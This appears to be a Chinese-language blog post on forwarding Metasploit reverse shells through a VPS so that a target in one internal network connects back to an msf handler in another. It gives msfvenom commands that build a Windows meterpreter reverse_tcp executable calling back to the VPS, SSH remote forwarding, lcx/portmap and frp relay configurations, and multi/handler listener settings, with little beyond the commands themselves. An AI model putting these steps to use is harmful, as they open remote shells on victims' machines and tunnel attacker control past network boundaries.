0%

msf的端口转发

Posted on Edited on Disqus:

需求：

内网1的目标 < = > VPS < = > 内网2的msf

SSH

概念

先介绍一下关于SSH的端口转发。

本地转发

访问本地的8000端口，就是访问host:9000。

ssh -L 8000:127.0.0.1:9000 user@host

远程转发

访问host:9000端口，就是访问本地的8000端口。

ssh -R 9000:127.0.0.1:8000 user@host

正向隧道

反向隧道

socket代理

需求

首先需要配置VPS ssh服务，编辑 /etc/ssh/sshd_config
在文件最后添加：

1
GatewayPorts yes

msf生成shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[vpsIP] LPORT=[vpsPort] -f exe -o test.exe

上传至内网1目标机器，运行. 然后在内网2的bash中，通过SSH远程转发，监听VPS的端口。

1
ssh -N -R vpsPost:192.168.40.136:localPort ubuntu@vps -i ***

然后在msf中进行监听。

1
2
3
4
5
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.40.136
set lport localPort
expoit

理论上来讲，这个应该是可以的。测试过程中，发现可以收到连接。但是，弹不出命令执行。。。 （貌似偶尔成功过）

揣测一下，应该是ssh端口转发的时候，出现了什么问题。。。

lcx

对于lcx还没研究，只是解决了需求，慢慢补充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#vps上
./portmap -m 2 -p1 44444 -p2 44445
# 将44444端口的内容转到44445.
# 内网1目标将连接44444，内网2的msf连接44445

# 生成shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[vpsIP] LPORT=44444 -f exe -o test.exe

# 内网2的msf
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set Rhost [vpsIp] # 注意这里是Rhost
set lport 44445
run

frp

项目地址：https://github.com/fatedier/frp ， 可以通过release下载编译好的内容。

这个东西分为客户端和服务端。

VPS上

1
2
3
4
5
# frps.ini
[common]
bind_port = 44445
# 启动监听
./frps -c frps.ini

内网2的msf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# frpc.ini
[common]
server_addr = [vpsIP]
server_port = 44445

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 44443
remote_port = 44444
# 开始转发
./frpc -c frpc.ini

# 生成的木马依然是访问vps的44444端口
# msf
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lhost 127.0.0.1 
set lport 44443
run